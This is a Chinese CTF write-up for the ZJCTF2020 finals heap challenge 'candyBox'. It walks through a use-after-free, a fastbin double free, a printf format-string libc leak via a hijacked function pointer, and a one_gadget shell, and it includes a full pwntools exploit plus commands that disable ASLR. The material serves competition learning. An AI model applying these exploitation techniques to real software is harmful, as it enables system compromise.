国庆复的盘,今天补一下

静态分析

checksec保护全开。

经典菜单题,没有去符号表,查看menu函数发现只有添加和删除操作,但是可以发现删除操作是通过函数指针实现的。并且分little 和 big的区别,free little就是一个free,free big 就是要把那个堆块里面的内容指向的堆块free了还要把本身给free,但是指针并没有清零。造成了UAF漏洞,并且在add的时候根据字符串长度来分配大小,并且会先读栈上,然后在strcpy拷贝,这就意味着输入不能存在\0。并且你输入的size只跟你输入大小有关,它拷贝分配的大小还是用strlen算出来长度再malloc然后strcpy,这一波操作下来就没办法溢出操作,并且由于\0截断也限制了很多。开了PIE无法unlink,和用got表泄露libc,而泄露程序基址也是比较难的(虽然正解是泄露程序基址的awa)。

泄露libc

考虑劫持函数指针,直接覆盖部分来修改函数,发现freebig和freelittle函数指针都在堆上面,由于只有最后三位相同,而我们覆盖是以字节为单位的,在调试可以选择先关了ASLR,让它在确定位置上加载不妨碍调试,出了之后也就需要爆破这半个字节十六分之一的概率还是比较可观的。但是我的电脑不知道为什么特殊一点的,它程序加载的基址末五位都是0,那这样我调试就更加方便了,直接写上两个字节过去就完事了。如果你的你的机子没有这个特性可以参考以下操作。

1
2
$sudo su
#echo 0 >/proc/sys/kernel/randomize_va_space

这一波操作之后会让程序和libc在确定的基址上运行,这样如果需要爆破,调试起来就更方便了,我的机子重启之后这个默认变回2的好像。

那么我们就先用double free的方式将堆块申请到伪造的区域造成堆重叠覆盖指针区域为printf,至于为什么printf呢,那是因为可以用%p泄露栈或寄存器上的变量,栈上面或多或少都会有libc的地址存在的。

那我们先添加五组堆块

第一个堆块:big ,在数据区域伪造出一个0x31大小的堆块一遍等会申请。

第二个堆块:big,把它的size区域变成0x31以便等会申请。

第三个堆块:small,用于double free 的堆块

第四个堆块:small,用于double free 的堆块

第五个堆块:small,

1
2
3
4
5
6
7
8
9
#交互函数会在最后完整的exp中给出
add(b'a'*0x18+b'\x31\0')#0
add(b'a'*0x31)#1
add(b'a'*0x8+b'\0')#2
add(b'a'*0x8+b'\0')#3
add(b'a'*0x8)#4
free(3)
free(2)
free(3)

此时堆布局是这样的:

箭头所指的两个地方就是要伪造堆块的区域。

然后free掉第三个第四个第三个的顺序让bin中存在两个相同的堆块,add第一个堆块的时候末尾因为有其它堆块的地址,因此直接改最后一位即可以把fd改成刚刚第二个堆伪造的size区域,等会申请到这里的堆块之后就可以直接修改末尾的指针把这个free big函数改成printf函数。

1
2
3
4
add('\x78\0')#2
add('\x78\0')#3
add('\x78\0')#5
add(p32(0x9a0))#6

此时堆布局如下所示

由于改变了堆结构导致指令无法识别到堆块了,但那些不重要,我们可以看到那个原本存free big的函数已经变成了printf函数的偏移(0x9a0)。

改完之后呢,依旧是用第三个堆块和第四个堆块double free,然后把堆块申请到第一个伪造的那个地方。然后free第一个堆块,而我们这一次申请就在上面填上类似%p之类的字符,为什么能成功呢?仔细看它delete一个堆块的操作,是以堆块的地址作为参数的而不是以堆块的内容作为参数。所以如果上面放上%p之类的字符串,delete 之后就会printf这堆块上的内容,识别到%p之类的格式化字符串就会对应泄露出一些地址。

1
2
3
4
5
6
7
8
9
free(2)
free(3)
free(2)
add(b'\x50\0')
add(b'\x50\0')
add(b'\x50\0')
free(4)
add(b'a'*0x10+b'%4$p'+0x8*b'a'+b'\0')
free(1)

做完这些操作之后可以看到一下堆块的布局。

free 1之后可以泄露出一个类似libc的地址。

因为这属于无差别泄露,就是说你其实也不知道这个泄露的是个什么鬼东西,那你就直接vmmap查看libc的code段加载地址在哪里,再把这个数和基址一减,得到一个偏移,那么接受到这个数值之后减去那个偏移就能固定泄露出libc的基址了。

虽然泄露出来的地址属于ld.so中的地址,但是由于libc和ld.so是紧挨着的,不妨碍能通过它泄露出libc的地址,最后计算得到偏移0x5ed700。到这里泄露libc的工作就算完成啦。

劫持程序流

这里还是靠函数指针,既然libc地址已经泄露得到了,那么可以故技重施,再把函数指针改成system,然后参数给/bin/sh,delete之后直接getshell,非常稳,当然这里我偷懒了,我直接换成onegadget的地址了,因为后期考虑到堆块数量可能不够,它堆块指针的分配机制是这样的:

建立一个数组a,初始都为0,每次add,会把这个数组置为1,free把对应这个下标置为0。add只会考虑该数组这个下标的值为0的时候才会分配对应偏移的指针给当前add的堆块。但是由于之前我们用过了很多double free,因为有两次free是对同一个堆块操作,那个数组虽然会变成0,但是也有两次是对同一个元素操作了,我们整整又是拿出来了三个堆块,所以每次double free可用的数组指针永久少1,并且由于之前那些操作,可以利用的堆可以说以我目前的能力我是想放弃那些堆块重新开始的。因此再次的double free 只需要劫持一个函数指针为onegadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
one=[0x45226,0x4527a,0xf03a4,0xf1247]


add(0x31*b'a'+b'\0')#1
add(0x8*b'a'+b'\0')#8
add(0x8*b'a'+b'\0')#9

free(9)
free(8)
free(9)

add('\x78\0')
add('\x78\0')
add('\x78\0')
add(p64(libc_base+one[2]))

free(1)
p.interactive()

这里也很幸运,试到第三个onegadget就成功了。如果不行应该换成system然后之前再同样的方式弄出来/bin/sh字符串就行,但是我不确定堆块数量能不能够用。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.log_level='debug'
def conn(x,file_name):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.23-64.so')
else:
pass
return ELF(file_name),libc,p
def add(payload):
p.sendlineafter(b'2.Remove a candy:',str(1))
p.sendlineafter(b'Size: ',str(0x10000))
p.sendafter(b'Taste: ',payload)

def free(index):
p.sendlineafter(b'2.Remove a candy:',str(2))
p.sendlineafter(b'id:',str(index))
p.sendafter(b'?',b'yes')

elf,libc,p=conn(1,'./candyBox')
puts_got=elf.got['puts']
puts=elf.plt['puts']

add(b'a'*0x18+b'\x31\0')#0
add(b'a'*0x31)#1
add(b'a'*0x8+b'\0')#2
add(b'a'*0x8+b'\0')#3
add(b'a'*0x8)#4
free(3)
free(2)
free(3)

add('\x78\0')#2
add('\x78\0')#3
add('\x78\0')#5
add(p32(0x9a0))#6

free(2)
free(3)
free(2)
#free(0)
add(b'\x50\0')
add(b'\x50\0')
add(b'\x50\0')

free(4)
add(b'a'*0x10+b'%4$p'+0x8*b'a'+b'\0')

#gdb.attach(p)
free(1)

p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-0x5ed700
success('libc_base:'+hex(libc_base))

sys=libc_base+libc.sym['system']
malloc_hook=libc_base+libc.sym['__malloc_hook']
success('malloc_hook:'+hex(malloc_hook))

one=[0x45226,0x4527a,0xf03a4,0xf1247]


add(0x31*b'a'+b'\0')#1
add(0x8*b'a'+b'\0')#8
add(0x8*b'a'+b'\0')#9

free(9)
free(8)
free(9)

add('\x78\0')
add('\x78\0')
add('\x78\0')
add(p64(libc_base+one[2]))
#gdb.attach(p)
free(1)

p.interactive()

下面是成功getshell的截图,最后写出来需要爆破的就是printf那半个字节,跑到远程环境注意一下应该问题不大。

最后的话

本题目来源于zjctf2020决赛的pwn2,据说那题也没多少人做出来,而我虽然能自己独立做出来,但是整整花了9个小时,听说去年决赛总共也就8个小时qwq。

这真的是我做过的最难的uaf漏洞的题目了,我原本以为它应该就跟那种没有任何特殊字符过滤的sql注入差不多,没想到它到处加限制导致很多漏洞很难利用,也算是给我展示了一波吧,希望这次的省赛能让我出一道pwn吧,加油冲冲冲!